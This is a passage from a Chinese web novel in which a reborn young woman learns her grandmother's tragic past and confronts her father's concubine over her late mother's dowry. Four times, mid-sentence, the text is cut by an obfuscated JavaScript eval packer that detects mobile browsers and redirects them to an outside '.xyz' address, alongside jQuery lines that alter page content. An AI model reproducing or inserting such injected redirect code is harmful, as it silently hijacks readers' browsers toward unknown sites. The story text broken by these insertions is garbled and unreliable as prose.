孟玉桐指尖微颤，小心翼翼地接过锦盒，打开半寸，望着里头静静躺着的玉葫芦，心中竟有酸涩，“替我谢过夫人，还有我身上这衣裳，回头我让人洗净了再送来。” 纪明左右瞧瞧，悄然凑近了拉着她问：“孟姐姐，你是不是不太喜欢我兄长？” 孟玉桐微微往前倾身，被他这话问得动作一滞，目光越过层层叠叠的雕花屏风，下意识抬眼，只见门扉旁立着一道清瘦身影。 纪昀负手立于门前，墨发高束，锦袍在晚风中勾勒出劲瘦轮廓，指间捻着枚青玉佩，眸光淡漠，隐含探究，正不偏不倚望过来。 一瞬间，孟玉桐仿佛回到她上辈子在纪府的那段时日。 无论她将这纪家主母做得多好，他待她总是淡淡的，看向她的眼神也就如今日这般。 她那时还以为他是性子生得清冷，时间久些就好了。后来她才明白，其实纪昀只是待她冷淡而已。 若是能早些看清楚，上一世也不必白白蹉跎。 她垂下眼，盯着手中的锦盒，声音淡淡：“小公子说笑了，我与纪公子不过数面之缘，何谈喜恶。” 纪明摸摸下巴，又皱起眉来，姐姐嘴里说着不讨厌，怎么一提起兄长态度就变冷了呢？ 哎呀不管了，反正不是讨厌他就行。 纪明两手一摊，又笑嘻嘻地去摇她：“孟姐姐，你上回给我开的药味道我很喜欢，你能不能改良下方子，我偷偷让人制成糖丸？最近兄长看得严，什么也不让我吃，我现在瞧见院里的草皮都想上去啃一口。” “加些甘草、槐花蜜，文火慢熬两个时辰即可。”孟玉桐被他这话逗乐了，指尖轻点他额头，“只是每日至多服用三丸，不可贪多。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127369|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道的！”纪明还想再同她说什么，可转眼瞧见兄长在一旁似乎等得有些不耐，便只好闭了嘴，不情不愿地同孟玉桐告了别。 孟玉桐自纪府归来时，杏桃院天色已暗。 晚风轻拂，零落的桃花与杏瓣在青石小径上铺就浅浅一层浅绯与素白，空气中浮动着若有似无的甜香。 她径直回到内室，褪下纪夫人借她的那件月白色绣梅衣裙。 “白芷，”她将衣裳递过去，声音清泠，“着人用温水细细浣净，熏上香，仔细装裹好，送回纪府去。” 纪夫人今日待她的态度，同从前很不一样。 对于她与纪昀的婚事，上一世的纪夫人更多的是淡然，可今日瞧着，她似乎对自己颇为满意。 孟玉桐心口绕着疑云，心中渐渐有了些不太真切的猜测，却不敢深想。 反正……她望了手上那衣裳一眼，旋即移开视线。无论如何，只要她能成功将婚事退了，那么纪夫人与她而言不过无关紧要的陌生人罢了。 白芷接过衣裳，忍不住问起今日纪府见闻。 孟玉桐拣要紧处略说了几句。 白芷听罢，双眼圆睁，随即掩口嗤笑出声：“难怪二小姐晌午便灰溜溜回府了，原是拿了夫人的旧物充新礼。当真是好不要脸！纪夫人倒是心善通透，竟将这东西原封不动地退给了小姐！” 她越说越觉快意，语速也快了几分：“那二小姐，平日里便是个掐尖要强的，得了什么新鲜玩意儿，必要跑到咱们杏桃院来招摇过市，非得事事压小姐一头才肯罢休！ “还有那秦姨娘——”白芷撇撇嘴，“仗着自己早年读过些书便真当自己是文曲星下凡了，惯爱端着架子，对府里的事，尤其是小姐您的事，指手画脚，恨不能事事拿捏！ “这母女俩，真真像那绕着腐物嗡嗡作响的蝇虫，惹人厌烦透顶！早该有人狠狠煞煞她们的威风了！” 白芷说得心头畅快，倚坐在临窗矮几旁的桂嬷嬷闻言，两道眉却紧紧拧着：“姑娘何苦与她们做这针锋相对？秦姨娘仗着老爷宠信，二小姐又是个惯会撒泼弄痴、颠倒黑白的。若早早撕破了脸皮，往后的日子，只怕……只怕更添艰难啊。” 桂嬷嬷与大胆伶俐的白芷不同，是个性子软和又爱忧心的，最怕惹事生非。 孟玉桐往后只怕还要做许多叫她担忧的事情，便想着趁着今日好好同她说明一番，也好叫她心中有些准备。 11. 第 11 章 这般想着，孟玉桐缓缓抚了抚寝衣上的褶皱，心念一动，便提步走到窗前多宝格旁，从最里层取出一套素白如雪的薄胎瓷茶具。 那茶具釉色温润，胎壁薄如蝉翼，透光可见，是难得的精品。 她执起小巧的提梁壶，将滚沸的茶水注入其中一只茶盏，清亮的茶汤在莹白的瓷壁间荡漾开碧色涟漪。 她伸出手指，轻轻点着那温润微烫的杯沿，声音清润，不急不缓：“嬷嬷且看这茶盏。父亲当年带回时，千叮万嘱，道是此物金贵异常，受不得滚烫，亦经不起磕碰。 “我便将它束之高阁，视若珍宝，唯恐有失。” 她的目光落在稳稳盛着沸水的茶盏上，“可今日看来，它似乎比想象中坚韧得多。” 茶水滚烫，白瓷透亮，未见有什么异样。 袅袅茶烟氤氲升腾，模糊了孟玉桐的面容，唯有一双眸子在雾气后亮得惊人，如寒潭映星，清冽而深邃。 她拈起那盏热茶，稳稳送至桂嬷嬷面前，唇边漾开一抹清浅笑意：“器物若因畏碎而永蒙尘垢，岂非辜负了它存在的本意？ “倒不如物尽其用，盛尽世间冷暖滋味。纵使一朝碎裂，亦是它命定的归宿。总好过在暗匣中寂寂蒙尘，无人问津。” 她目光清亮，径直迎上桂嬷嬷忧心忡忡的眼睛：“至于日后，福祸相依，前程难料。与其忧思那未可知的明日，不如先顾好眼前这一盏茶的舒心。嬷嬷说是不是这个道理？” 桂嬷嬷一时有些愣神，望着眼前的姑娘。 她此刻卸下了白日里那繁复夸张的紫色衣裙、首饰，穿了一件素净的水蓝色软烟罗寝衣。 一头乌发松松绾就，只簪了一支桃花素银钗，几缕青丝随意垂落颈侧。 白日里那层无形的紧绷与刻意，此刻消散殆尽。整个人透出一种说不出的沉静，像是雨后的竹林，洗尽尘埃，只余下清朗本色。 那双明亮的眼睛静静地看着她，平静的表面下，桂嬷嬷却隐约感觉到一股破茧而出的力量和决心。 那是她从未在姑娘身上见过的。 她于是便想起自夫人柳氏故去这几载，姑娘仿佛给自己套上了一层厚厚的壳子，言行举止处处透着谨慎小心，唯恐行差踏错。 可近来，尤其是今日，那层厚厚的壳子从里头破开，她身上那股被压抑已久的鲜活生气，竟如初春解冻的溪流一般，汩汩地流了出来。 这样的小姐……竟然颇有几分老夫人年轻时的模样。这念头甫一出来，桂嬷嬷自己都惊了惊。 一旁的白芷听得直点头，忍不住拍手笑道：“小姐说得太对了！往后的事谁说得清？眼下的痛快才是真格的！嬷嬷您说是不是？” 看着眼前这两个年轻姑娘，一个沉静通透，一个明快爽利，桂嬷嬷心底那沉甸甸的忧虑，终最终化作唇边一道无声的叹息。 也罢……也罢。 姑娘在这府里拘束了这么些年，难得有这般松快的时候。 何况，她出阁在即，在这孟府的日子，横竖也不会太长了。且由着她自在几日吧。 见桂嬷嬷眼底的忧虑渐散，孟玉桐知道，嬷嬷至少此刻将她的话听进去了。 不过，祖母可没有嬷嬷这么好说话。她与祖母之间，只怕还有一场交锋。 孟玉桐示意白芷将那只羊脂玉葫芦仔细收好，她这才转过身，轻挽起桂嬷嬷的手臂，引着有些怔忡的桂嬷嬷往窗边走。 窗边摆着一张铺了柔软锦缎坐褥的湘妃竹软榻。孟玉桐扶着桂嬷嬷，两人一同在榻上坐了下来。 榻边小几上，一尊三足鎏金狻猊香薰正无声吞吐着缕缕青烟，烟痕袅娜，在静谧的室内蜿蜒游走。 “嬷嬷，”孟玉桐声音放轻，“我记得您原先是在祖母身边伺候的？是母亲入府后，才拨到我们杏桃院来的？” 往事如烟，桂嬷嬷望着熏香中浮动的光尘里，眼神有些悠远，像是被那烟气带回了过去。 她轻轻叹了口气：“是啊……老奴和吴嬷嬷，都是打小就跟在老夫人身边的，是她的陪房丫头。老夫人嫁入孟家时，江家老太太怕她受委屈，便将我们俩分作左右臂跟着陪嫁过来。 “后来夫人进了府，老夫人怜她一个外乡人远道而来，身边没有个知根知底、能倚重的体己人，便将老奴从她身边拨出来，送到了杏桃院。” “老夫人的性子啊……”桂嬷嬷无奈地摇摇头，带着几分叹息，“最是别扭不过。明明是桩体恤人的好事，可从她嘴里说出来，偏就能变了味儿。 “她说夫人‘刚入府，不懂规矩，没个方圆’，让老奴‘好好去调教调教’。” 孟玉桐心中微动。若论教导规矩，吴嬷嬷行事果决、手段强硬，分明比性子温软的桂嬷嬷更合适。 可祖母偏偏选了桂嬷嬷，想来是念着母亲孤身远嫁，想找个脾性温和、能贴心说话的人相伴，免得母亲在这深宅大院里太过孤寂。 祖母……的确是个难以捉摸的老太太。 祖母将自己带在身边教导规矩，教自己医术启蒙，除此之外，再没有其他的祖孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127370|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间的温情。 有次她亲手做了安神的香囊送给祖母，只得了老太太一句‘不务正业’。 她觉着她大约是不喜欢那个香囊的，可又瞧见她将它仔细收在了箱柜里…… 祖母那样矛盾又奇怪，因此哪怕孟玉桐自小便在她的威仪下长大，此刻依旧觉得她像一本蒙尘的旧书，字迹模糊难辨。 她从未读懂过。 “嬷嬷，”孟玉桐的声音放得更轻，带着一丝小心翼翼的探寻，“您能同我说说祖母未出嫁前的事么？她年轻时，也是这般……冷峭寡言么？” 还有祖母脸上那道疤，幼时她也曾懵懂地问过母亲，母亲只是温柔地摸着她的头说：“无论有无那道疤，她都是你的祖母，血脉相连，不可轻慢。” 桂嬷嬷长长地、深深地叹了口气，那叹息仿佛从肺腑深处涌出，带着难言的沉重。 她能感受到近些时日，小姐对老夫人的态度有些微妙。 这些事情，既然她今日特意问起，她忽然觉着，或许小姐也该知道。 “老夫人啊……其实也是个苦命的人儿。她娘家江家，祖籍广陵，当年在江南丝绸行里，那也是数得上名号的大家。 “未出阁时的老夫人，可全然不是如今这般模样，那真真是……”她眯起眼，似乎在努力捕捉着久远的鲜活影像，“像一团烧得正旺、不管不顾的野火！恣意张扬，活得比谁都痛快！” 她陷入回忆，语调也染上了旧日的光彩：“她跟着老爷太太走南闯北，胆子大得能包天。一手算盘打得噼啪作响，商路账目门儿清； “还学了一身好医术，能辨百草，敢施银针；更兼有些拳脚功夫傍身，性子是出了名的爽利泼辣，快意恩仇！” “那时啊，”桂嬷嬷脸上难得浮现一丝与有荣焉的笑意，“提起江家大小姐的名号，甭管是商贾行会，还是三教九流的江湖道，谁不赞一声‘胭脂虎’？端的是个明艳如火、心气儿高过九重天的主儿！” 桂嬷嬷性子安静，鲜少有这般放声激动的时候。 孟玉桐听得心头剧震，商道、医术、快意恩仇……桂嬷嬷口中每一个词都让她意外。 桂嬷嬷口中的人，真的是祖母吗？ 她忍不住倾身向前，声音有些微微发颤：“后来呢？” 这“后来”，不仅关乎祖母转变的真相，更仿佛在叩问她自己重生的另一种可能。 桂嬷嬷脸上那丝荣光渐渐黯淡下来，化作一声悠长的叹息，眼中泛起复杂的水光，“后来，一切都变了。” 12. 第 12 章 “后来……”桂嬷嬷的声音低沉下去，“老夫人从广陵老来临安看望朋友，救了一位受伤的贵公子。那位公子对老夫人一见倾心，”她重重摇头，满是惋惜与无奈，“奈何啊奈何！云泥之别，门不当，户不对！” “那公子的母亲，那位高门深宅里的贵妇主母，”桂嬷嬷的声音里带上了压抑不住的愤懑，“岂能容忍自己金尊玉贵的儿子，看上个整日抛头露面、商贾出身的女子？她使了个阴毒的法子……” 她深吸一口气，仿佛那陈年的冤屈依旧灼人：“竟在江家作为贡品进献的一批云锦上动了手脚。说那丝绸浸染剧毒，害得她自己‘身中奇毒，危在旦夕’。这泼天的祸事砸下来，江家纵是倾尽家财也赔不起这天大的罪过！眼看……眼看就要家破人亡，百年基业毁于一旦啊！” “后来江家得以脱困，”孟玉桐心头一动，几乎是脱口而出，“是否与祖母脸上那道疤有关？” 桂嬷嬷的身体猛地一颤，泪水瞬间盈满眼眶，她缓缓地、沉重地点着头：“老夫人为了救双亲，救整个风雨飘摇的江家……” 她的声音哽咽得厉害，“她……她做了件常人想都不敢想的事。用自己随身的簪子……”桂嬷嬷的手颤抖着比划了一下脸颊的位置，“亲手……狠狠地……划了下去！就在脸上！一个女子，最最要紧的容貌啊！她说毁……就毁了！” “那日下着雪，血珠溅在她红色的罗裙上，淌进雪地里，她却笑着同那贵夫人说：江云裳容貌已毁，再配不上公子，只求夫人高抬贵手，放过江家。” 孟玉桐心口猛地一缩，恍惚间，仿佛看见那个鲜衣怒马的少女，手持染血金簪，在漫天飞雪中决绝地折断了毕生的骄傲与光采。 一股冰冷的寒意窜上心口，她的手无意识地探向自己的腹部，分明已经重来，可那处好似还有隐痛。 祖母那时应该也很痛吧。 她听桂嬷嬷轻声道：“也是那一日，老太爷骑着快马从广陵赶来，当着那贵人的面说孟家与江家早有婚约，不日即将成婚，老夫人与那公子没有可能。老夫人那日攥着染血的簪子，盯着他看了许久，算是应下了这桩婚事。” “祖父与祖母是怎么回事？” 桂嬷嬷轻抚膝头磨得发亮的粗布帕子，继续道：“老太爷与老夫人原是竹马之交，偏生一个性子像春溪淌水，温润徐缓；一个恰似盛夏惊雷，凌厉张扬。可谁能料到，大祸临头时，竟是那素来温吞的人，单枪匹马闯了临安城。 “不过即便老夫人做到这份上，那位夫人还是不肯轻易罢休，非要将人留在她眼皮底下。她说，只要老夫人一辈子安生，江家便无后顾之忧。” “老太爷是个厚道人，真心敬重老夫人。举家迁往了临安。老夫人嫁来后，他倾尽家财帮江家渡过了难关。老夫人感念这份恩义，也彻底收了心。” “那些骑马、行医、走南闯北的日子，像一场梦似的，被她自己亲手掐灭了。她收起了所有张扬的性子，把从前用在商道江湖上的那股子劲儿，全用在了打理这个家上。相夫教子，规规矩矩。” 桂嬷嬷语气复杂，“老太爷待老夫人是极好的，老夫人也渐渐把这里当成了自己的归宿。那段日子，虽非始于浓情，倒也安稳和顺。可惜……老太爷福薄，去得早。” “老太爷一走，老夫人就彻底变了。” 桂嬷嬷的声音带着深深的怜惜，“她像是把最后一点热气儿也耗尽了。从前只是收敛，后来就成了现在的沉默寡言。唯有一样没变——就是守着这份家业的心，比磐石还硬。 “她经历过失去，知道风雨飘摇的滋味，所以格外看重这能遮风挡雨的家产基业，看得比命还重。那点决断和强硬，大概就是她年轻时那团火，最后剩下的一点点火星子了。” 桂嬷嬷看向孟玉桐，眼中有着过来人的通透：“姑娘啊，老夫人脸上的疤，是看得见的。可心里的那道……才是真真磨人的。” “嬷嬷可知那贵公子一家……”孟玉桐话未说完，便见桂嬷嬷猛地按住她的手，眼中闪过一丝惊惶：“姑娘莫问！有些事知道得太清楚，反而是祸。” 孟玉桐心头微凛。能让江家倾覆、让祖母不惜毁容、让桂嬷嬷这般讳莫如深，足见那“贵公子”的身份非同小可，只怕是江家当年万万招惹不起的人物。 “如此说来，”她声音放得极轻，带着一丝不易察觉的叹息，“祖母这些年守着这诺大家业，步履维艰，过得很不容易。” “谁说不是呢！”桂嬷嬷眼眶又红了，手指紧紧攥着帕子，“老夫人原指望老爷能立起来，顺顺当当接过这副担子。可……唉！” 她重重叹了口气，满是恨铁不成钢的无奈，“老爷他……那性子您是知道的！回回顶着出去谈生意的名头，一去便是三五载杳无音信，在外头花天酒地，银子流水似的淌出去，正经生意没做成几桩！叫老夫人如何敢放手？ “这些年，老夫人是硬撑着这把老骨头，咬着牙苦苦支撑啊！府里那些眼皮子浅的，还背地里嚼舌根，说老夫人攥着钥匙不肯松手，贪恋这点权柄……他们哪里知道，老夫人守着这偌大家业，夜夜枕着账本难眠，一颗心就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127371|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没放下过！” 桂嬷嬷说到痛处，再也忍不住，用那帕子用力按了按眼角的泪：“老奴……老奴只盼着小姐往后出了阁，逢年过节能常回来看看老夫人，莫要……莫要同她生分了才好。” “嬷嬷放心，”孟玉桐仍沉浸在那段往事中，声音温淡，听不出太多情绪，只轻轻应道，“这是自然的。” “今日这番话……原是老夫人千叮万嘱，不许在老奴嘴里露半句给您的。” 桂嬷嬷压低了声音，带着几分告罪和释然，“可眼瞅着小姐大喜的日子近了，老奴这把老骨头也到了该告老还乡的时候。 “您既问起了，老奴便斗胆都说了出来，也算了了心头一件大事，往后在乡下，也能睡得安稳些。” “嬷嬷老家是在富阳县慈云岭下？”孟玉桐转过话头，适时问道。 “正是！正是！”桂嬷嬷连连点头，脸上露出一丝对故土的向往，“那地方山清水秀，气候养人！小姐日后若得了闲，定要去住上几日散散心。 “您是没瞧见，三伏天里临安城热得像个蒸笼，咱们慈云岭的山涧边，那风都是带着凉气的，晚上睡觉还得盖薄被呢！” 孟玉桐含笑颔首，目光温软。旋即，她话锋似不经意般一转，带着体贴：“对了嬷嬷，您方才说要等我出嫁后才放心告老回乡？” 孟玉桐与纪昀的婚期定在七月。 桂嬷嬷的盘算，自然是依着这个日子来的。 听孟玉桐提起，她几乎是不假思索，脱口而出：“那是自然！小姐是老奴看着长大的，若不亲眼瞧着您风风光光地出了这门，坐上花轿，老奴这颗心怎么落得回肚子里去？如何能安心回乡？” 孟玉桐眸底深处，一丝极淡却笃定的满意之色飞快划过。 她随即展露出更为温煦的笑容，自然地伸手，轻轻替桂嬷嬷理了理鬓边散落的一缕灰白头发，柔声道：“嬷嬷待我之心，阿萤明白。 “只是您年岁也大了，往后若遇上刮风下雨的天气，便安心在屋里歇着，莫要再出来奔波了。 “外头湿滑，万一磕着碰着，岂不叫人心疼？有什么事，只管吩咐底下那些腿脚灵便的小丫头子们去跑便是。” 桂嬷嬷心头一热，刚想说自己是庄稼人出身，皮实着呢，没有那么娇贵，话未出口—— “笃笃笃。” 门外恰在此时传来三声清晰而恭敬的叩门声，紧接着是小丫鬟清脆的通禀，打破了室内的温情： “禀大小姐，老夫人已回府，此刻正在松风院，请您即刻过去拜见。” 13. 第 13 章 一弯冷月悬在天际，洒下泠泠清辉。松风院的青瓦飞檐在月光下投下四方的影子。 孟玉桐踩着满地月影，穿过静得落针可闻的厅堂。 踏入正厅时，孟老夫人江云裳正端然危坐于上首一张宽大的紫檀木镶玉太师椅上。 江云裳身着玄色暗花褙子，银发梳成扁髻，仅用一支素银簪固定。脸上那道斜贯半颊的旧疤，在明明灭灭的烛影里时隐时现。 她双眼微阖，枯瘦的指节轻叩着扶手，周身弥散开的不怒自威的气势，像是张无形的网，将整个厅堂笼罩在一片沉寂之中。 下首的梨花木圈椅上，秦姨娘与孟玉柔如坐针毡。 秦姨娘一身半旧的藕荷色细葛罗裙，宽大的粉缎袖口严严实实遮着手腕，恭谨坐着。 孟玉柔则紧紧揪着裙角，带着几分不安，偷偷抬眼觑向上方那尊冷肃的身影。 “祖母万安。”孟玉桐敛衽行礼，动作间暗紫色的裙裾如水般铺展在地。 江云裳的目光落在她腰间那片刺眼的大金色牡丹团花，瞳孔微缩，只略一抬手，示意她坐到东侧的玫瑰椅上。 “今日是怎么回事？”江云裳的声音冰冷，“我轿子刚到垂花门，便听得门房禀报，道是纪府那头的事外头已传得沸反盈天。” 她端坐着，目光好似带着无形压迫，“秦氏，你来说说。” 秦姨娘慌忙起身，下意识托了托手腕，忙道：“母亲莫听外人胡说，今日两个孩子去纪家参加了纪夫人寿宴，哪有什么事？若是有也不过是两姐妹闹了几句，哪里需要惊动母亲呢。” 孟玉柔见状也跟着起身，突然拔高声音，“今日……今日姐姐也不知怎么了，当着一众夫人的面哭哭啼啼，她们还以为我姨娘苛待了她……” “柔儿！住口！”秦秦姨娘急得掐了她手臂一把，腕间两只沉甸甸的赤金点翠嵌红宝手钏猛地相撞，发出一串刺耳的“叮当”脆响。 孟玉柔吃痛，委屈地扁了嘴，恨恨剜了孟玉桐一眼，终是住了声，只余下胸脯因气恼而剧烈起伏。 江云裳缓缓摩挲着太师椅扶手上的松鹤纹路，脸上神情在摇曳的昏黄烛光下愈发显得莫测。 孟玉桐隐约感受到了祖母的一丝不悦。 “祖母”，她动作缓缓从玫瑰椅上起身，再次屈膝朝江云裳福了福身，步履轻移间，腰间悬的一只羊脂玉小葫芦忽撞上另一枚碧玉双鱼佩，叮然迸出碎冰似的清响，在安静的厅堂里格外清晰。 她指尖飞快覆上玉葫芦，待将佩饰拨到腰侧，才抬眸续道：“今日纪夫人寿宴，孙女与玉柔妹妹一同前往贺寿。妹妹奉上贺礼后，许是身子有些不适，便先行回府了。确无甚大事发生。” 她话音才落，一旁的孟玉柔忽地冲身上前，一把扯下她腰间的玉葫芦，怒道：“这不是我送纪夫人的贺礼么？怎么会在你这里？” 她将那葫芦紧紧攥在手心，胸前起伏不定，抬头望向江云裳时，眼中瞬间蓄满了泪水，声音带着哭腔和控诉：“祖母！您看，这就是我精心挑选送给纪夫人的贺礼！怎会在姐姐身上？ “定是她……定是她趁人不备偷偷拿了回来！祖母！您可要为孙女做主啊！姐姐便是再厌憎于我，也不该在纪家做出这等下作之事，平白丢了我们孟家的脸面啊！” 江云裳眸色平静，未说话。 秦姨娘一听女儿哭诉，不疑有他，立刻上前揽住孟玉柔，腕间金钏又是一阵急响。 她脸上瞬间堆满了痛心疾首，声音也跟着染上哭腔：“桐儿就算是眼红柔儿的贺礼得了纪夫人青睐，也不该做这等偷鸡摸狗的勾当，当真是败坏了门风了。” 孟玉桐对着母女二人的指责与哭嚎，一声也未辩解，只微微咬着下唇，纤薄的肩背绷得笔直，仿佛承受着无形的重压。 目光却紧紧胶着在那枚被孟玉柔紧紧攥住的玉葫芦上，眼眶渐渐泛起一层薄红。 便在此时，吴嬷嬷脚步匆匆自外间掀帘而入，行至江云裳身侧，俯身贴近，以帕掩口低语了数句。 江云裳眸光微寒，倏然凝向阶下秦氏母女，“这玉葫芦是柳氏的嫁妆？” 这一问，如冷水泼头，登时将底下那抽抽噎噎、做足了委屈姿态的母女二人噎得哑口无言。 秦姨娘捏着素绢帕子的手紧了紧，在眼角虚虚按了两下，声音陡然弱了三分，带着几分刻意的不确定：“这……竟是夫人的嫁妆？” 她忙不迭从孟玉柔手中取过那枚玲珑剔透的羊脂白玉葫芦，迎着屋内煌煌烛火，煞有介事地左右端详。 烛光流转于温润玉质之上，映出葫芦外圈显眼的花木纹。 她忽地甩了甩帕子，干笑一声，那笑声在静默的厅堂里显得格外突兀：“哎哟，这些年府中一应吃穿用度皆由妾身操持，库房里各房的物事早混在一处。 “妾身连自己的嫁妆匣子都记不清锁在哪个角落了，如何还能分得清哪件是夫人的？” 话音甫落，她话锋一转，看向孟玉桐，语气复又强硬起来：“再说了，”她拔高了几分音调，“纵使这是夫人的东西，咱们府里正经送出去的贺礼，桐姐儿也没有私下里偷摸拿回来的道理！这可是脸面！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127372|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是纪夫人亲赐予我的。”孟玉桐抬起头，声音低柔却清晰，两行清泪恰到好处地沿着莹白面颊滑落。 宛如梨花带雨，端的是委屈可怜，惹人怜惜。 孟玉柔哪里肯信，柳眉倒竖，娇声斥道：“姐姐休要信口胡诌！我将这礼呈给纪夫人时，她分明赞不绝口，喜爱得紧，怎会转头就给了你？姐姐既敢做下这等事，如何不敢当呢！” 孟玉桐拭去泪痕，平静反问：“敢问妹妹一句，这礼纪夫人收下后，置于何处？” “自然是摆在正厅最显眼的八仙桌中央！”孟玉柔不假思索，语气带着几分自得。 “即是如此，”孟玉桐微微颔首，语调依旧平缓，“今日正厅贺寿宾客如云，我连那桌边都未曾靠近，若非纪夫人亲手将此物赐下，我如何在满堂贵客的眼皮子底下，神不知鬼不觉地将它取走呢？” “这……你……定是你用了什么鬼蜮伎俩偷摸拿走的！”孟玉柔被问得一噎，脸上涨红，气势虽凶却已显理亏，犹自嘴硬。 她实在不信，得了纪夫人夸赞的礼物，如何转眼就到了孟玉桐手里。 “好了！”江云裳屈起指节，在身侧黄花梨木小几上不轻不重地叩了两下。 声音不大，却带着威严，几人立时噤声，厅堂内瞬间针落可闻。 秦姨娘眼见势头不对，脸上立刻堆起慈和的笑意。 她快步上前，捧起孟玉桐的手，将那枚玉葫芦郑重放回她掌心，又轻轻拍了拍她的手背，温言道： “原是误会一场！既然纪夫人看重，将此物赏赐给了桐儿，桐儿便好生收着，也算是个体面。” 她话锋圆滑地一转，将责任轻飘飘带过，“也是姨娘疏忽了，往后定当仔细些，再不敢将你娘亲的旧物混入库中。” 孟玉桐顺势接过玉葫芦，亦回握住秦姨娘的手，抬起泪光盈盈的眸子望着她，声音带着几分哽咽：“桐儿多谢姨娘体恤。” 秦姨娘被她这一眼瞧得心头突地一跳，莫名有些心虚，竟愣了一瞬。 动作间，身上那件藕荷色杭绸广袖衫滑下半寸，露出一对明晃晃的赤金点翠嵌红宝手钏，在满室烛火的映照下，折射出炫目流光。 孟玉桐目光落在那一抹金玉之色上，微微倾身，伸出手虚虚托起秦姨娘的手腕。 指尖并未真正触碰那金钏，声音里带着几分讶异，眼中却是冰冷一片， “姨娘，这副手钏，桐儿恍惚记得，仿佛是母亲生前心爱之物，时常戴在腕间的。怎的……”她抬眼，眸中清澈，带着疑惑，“竟到了姨娘手上？” 14. 第 14 章 秦姨娘瞬时如遭火烙，猛地抽回手，宽大的袖摆瞬间垂落，严严实实盖住腕间那片金色。 “桐儿定是瞧岔了，”她语速飞快，强笑道，“你母亲的东西，我、我怎会随意戴在身上？想是样式相近罢了。” 孟玉桐敛眸，掩去眼底深处那一掠而过的讥诮，顺从地轻声道：“兴许是桐儿思念母亲心切，一时眼花了罢。” 她不再纠缠于此，抬首望向端坐于上首的江云裳，声音里带上几分孺慕与哀戚，“不过祖母，近日来，桐儿总被梦魇所扰。 “梦中每每见到母亲，她形容凄楚，言道去得太早，不能亲眼看着女儿出嫁，心中甚憾。唯有那些陪嫁之物，是她早早留下，聊作陪伴之意……” 她微微一顿，复又看向秦姨娘，语气恳切温顺：“姨娘这些年操持府中庶务，事无巨细，劳心劳力，桐儿看在眼里，实在心疼。 “如今我婚期将近，也该学着理事，为姨娘分忧才是。桐儿想着，不若将母亲留下的嫁妆清点出来，暂且挪回杏桃院由我亲自看管。 “一则全了桐儿思母之心，二则也能为姨娘省去些功夫，不知姨娘意下如何？” 秦姨娘心头警铃大作，面上却只能挤出更温和的笑意，连连摆手：“哎哟，这如何使得！都是一家人，说什么分不分、省不省的？ “你的东西，姨娘替你看着，还不是应当应分的？不劳烦，一点儿也不劳烦！” 江云裳自始至终端坐榻上，手搭在太师椅扶手上，轻轻点着。 今夜她将众人唤来这松风院，开口不过寥寥数句，大半时间只是沉默。 然而那双眼睛却锐利幽深，不动声色地扫视着阶下众人，仿佛能穿透一切虚饰，直抵人心。 在这般极具压迫感的注视下，饶是孟玉桐心中早有成算，也不由自主地紧了紧袖中的手指。 自纪府归来，她便料到必有此一遭。故而特意换上白日里秦姨娘送来的那身浓艳扎眼的大紫金线牡丹纹锦缎衣裙，又“不经意”地将孟玉柔赠予的玉葫芦佩于腰间。 方才在祖母询问纪府之事时，更是半真半假，语焉不详，替那对母女遮掩了几分。 如此种种示弱、顺从、甚至略显笨拙的举动，不过是她深谙这府中几人的脾性，以退为进罢了。 她所求的，只有拿回母亲柳氏留下的嫁妆。 她从前并不在意这些，从前的她，在祖母跟前，不曾有过半分“自己想要”的念头。 她只知道，祖母让她做的，她才能做；祖母未提过的，她想也不能想。 祖母便是她在这世间唯一的浮木与依靠，她唯有全身心地倚赖她，小心翼翼地按照她心中“完美闺秀”的模子去雕琢自己，不敢行差踏错半步，唯恐惹得祖母失望。 如今一切重来，她此时的心境已大有不同。 将一生的希望与悲喜，尽数寄托于他人身上，无论那人是谁，都是世间最痴愚不过的事。 人活于世，须得明白心之所向，力之所往。想要的，便自己去争；想做的，便自己去做。如此，方不负重来的一生。 思及此，孟玉桐心中再无半分犹疑。 